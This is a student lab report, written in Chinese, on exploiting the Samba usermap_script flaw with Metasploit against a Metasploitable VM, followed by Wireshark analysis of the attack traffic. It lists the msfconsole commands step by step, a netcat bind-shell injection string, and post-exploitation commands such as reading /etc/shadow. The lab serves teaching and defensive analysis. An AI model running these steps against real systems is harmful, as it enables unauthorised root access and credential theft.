20252916 2025-2026-2 《网络攻防实践》第7周作业
20252916 2025-2026-2 《网络攻防实践》第7周作业
1.知识点梳理与总结
1.1 实验任务
实验任务1:使用Metasploit进行Linux远程渗透攻击
使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
- 启动Metasploit软件,可根据个人喜好使用msfconsole(命令行模式)、msfgui(图形化界面)、msfweb(网页模式)之一;
- 使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
- 选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
- 设置渗透攻击参数(RHOST,LHOST,TARGET等);
- 执行渗透攻击;
- 查看是否正确得到远程Shell,并查看获得的权限。
实验任务2:攻防对抗实践
攻击方任务
使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方任务
使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
1.2 实验环境
kali2025.4为攻击机、metasploitable为靶机,二者均连接在同一个网段。
| 虚拟机 | IP地址 |
|---|---|
| kali2025.4 | 192.168.200.9 |
| Metasploitable靶机 | 192.168.200.10 |
1.3 知识点总结
1. Samba 服务 Usermap_script 漏洞原理
本实验的核心攻击目标是 Metasploitable 靶机上搭载的 Samba 服务中存在的“用户名映射脚本命令注入漏洞”。
- 漏洞成因: Samba 服务提供了一个名为
username map script的配置项,允许管理员编写脚本将客户端提供的非 Unix 用户名映射为系统的 Unix 用户名。然而,Samba 在将客户端传入的用户名作为参数传递给后台系统 shell 执行时,未对输入内容进行严格的过滤与字符转义。 - 利用机制: 攻击者在发起 SMB 会话设置请求(
Session Setup Request)时,可以在用户名(Username)字段中注入恶意的 Shell 元字符(如反引号 ``` 或括号())。Samba 守护进程(smbd)接收到该用户名后,会将其直接带入系统底层执行,从而触发远程代码执行 (RCE)。 - 危害级别: 由于 Samba 守护进程通常以
root最高权限运行,攻击者利用该漏洞执行的代码将直接继承root权限,无需进行额外的提权操作,即可实现对目标 Linux 主机的完全控制。
2. Metasploit 渗透测试框架核心概念
Metasploit 框架中几个关键模块的协同工作机制:
- Exploit(渗透模块): 对应本次实验的
multi/samba/usermap_script,它负责触发 Samba 的命令注入缺陷。 - Payload(攻击载荷): 漏洞触发后要在目标系统上执行的恶意代码。本实验中主要涉及两种 Shell 控制流:
- 正向连接 (Bind Shell): 靶机在本地开放一个监听端口,攻击机主动去连接该端口。适用于靶机未开启防火墙或位于同一内网的场景。
- 反向连接 (Reverse Shell): 靶机主动向攻击机(LHOST)的指定端口(LPORT)发起连接。在实战中,这种方式能有效绕过目标主机的入站防火墙策略。
3. 攻防对抗与流量特征审计
在防守方的取证分析任务中,借助 Wireshark 等抓包工具,可以从网络协议栈中精准还原攻击链路,其核心审计特征包括:
- 协议与端口定位: Samba 漏洞攻击主要依赖于 SMB 协议,防守方应重点过滤目标主机的 TCP 139 端口或 TCP 445 端口(直接托管的 SMB 流量)。
- 漏洞利用特征码提取: 针对 CVE-2007-2447 漏洞,其典型的流量特征存在于
SMB Session Setup AndX Request数据包中。通过追踪该报文,可以在明文的Account(用户名) 字段中观察到异常的 Shell 注入字符串,例如包含nohup、/bin/sh以及反弹连接的 IP 与端口信息。 - 后渗透行为监控: 攻击成功建立交互式 Shell 后,由于传统的 Netcat 控制通道未加密,防守方可通过追踪 TCP 流(Follow TCP Stream),清晰截获攻击者在命令行中输入的后渗透探测指令(如
whoami、ifconfig、cat /etc/shadow等)以及系统返回的敏感数据,从而完成对整个攻击事件的取证定性。
2.实验过程
2.1 使用Metasploit进行Linux远程渗透攻击
-
首先把kali2025.4连接在vmnet8网段,同时克隆一个metasploitable靶机用于此次实验,执行
sudo vim /etc/rc.local修改其网络配置文件,然后将其也连接在vmnet8网段用于自动获取IP地址,方便后续实验。 -
查看kali2025.4和metasploitable靶机的IP地址,一个为
192.168.200.9一个为192.168.200.10

-
测试二者的连通性,由测试可知可以联通。


-
在kali2025.4攻击机中用root权限,输入
msfconsole启动渗透软件
-
然后再输入命令
search samba查找要使用的漏洞模块
-
输入命令
search usermap_script查找到要使用的usermap_script安全漏洞
-
输入命令
use exploit/multi/samba/usermap_script使用渗透攻击模块
-
输入命令
show payloads查看与该渗透攻击模块相兼容的攻击载荷
-
输入命令
set payload cmd/unix/bind_netcat设置攻击载荷设置Metasploitable虚拟机设置为靶机,将kali2025.4设置为攻击机
set LHOST 192.168.200.9 set RHOST 192.168.200.10
-
命令行输入
exploit开始攻击,成功显示打开了两个会话。
-
输出
ifconfig,查看IP地址为靶机的192.168.200.10,则攻击成功。
2.2 攻防对抗实践
攻击机为kali2025.4(192.168.200.9),防守方为Metasploitable(192.168.200.10)
-
在kali攻击机中打开wireshark进行抓包

-
前序配置和2.1实验一致,最后输入
exploit进行攻击。在wireshark中可以看见许多流量数据包
-
输入命令whoami查看到当前账户是谁(root)

-
输入
ls查看当前目录下有哪些文件夹,输入cd /etc进入/etc文件夹
-
在wireshark中输入
ip.addr == 192.168.200.9 and ip.addr == 192.168.200.10筛选出攻击机和靶机之间的流量
-
通过 Wireshark 捕获的流量可知,攻击发生在 TCP 139 端口(Samba 服务)。攻击者(192.168.200.9)在发起 SMB 会话设置请求时(对应数据包 No.16),恶意构造了
Session Setup AndX Request报文。攻击者巧妙利用了 Samba
usermap_script漏洞,将包含nohup mkfifo...及nc -l -p 4444的系统命令直接注入到了 SMB 协议的User字段中。靶机(192.168.200.10)未加过滤直接执行了该输入,导致其在本地非法开启了 4444 端口。随后,攻击者主动连接该端口(对应数据包 No.22 及之后),成功建立了 Bind Shell 控制通道,获取了目标主机的最高权限。
-
之后随便选一个数据包,然后右键Follow--Tcp数据流,可以看见攻击机输入的指令以及屏幕上返回给攻击机的信息。

3.学习中遇到的问题及解决
问题:一开始的时候kali2025.4攻击机和Metasploitable靶机一直联通不了,即使把蜜网网关打开也不行,导致无法进行实验。
解决方法:曲线救国,我把Metasploitable靶机复制一个一模一样的,并且取消之前/etc/rc.local里的网络配置文件,并且让他连接到vmnet8网段,自动获取一个ip地址,让他和攻击机在同一个网段内,这样就可以联通了,也方便了此次实验。
4.学习感悟、思考等
通过实验6和实验7两次实验,我对于windows系统以及Linux系统的一些漏洞有了更加深刻的认识,学会了如何通过已知的一些操作系统的漏洞进行渗透从而实行攻击行为,同时还掌握了通过wireshark去分析这些渗透的详细过程,极大的锻炼了我的实操能力。

浙公网安备 33010602011771号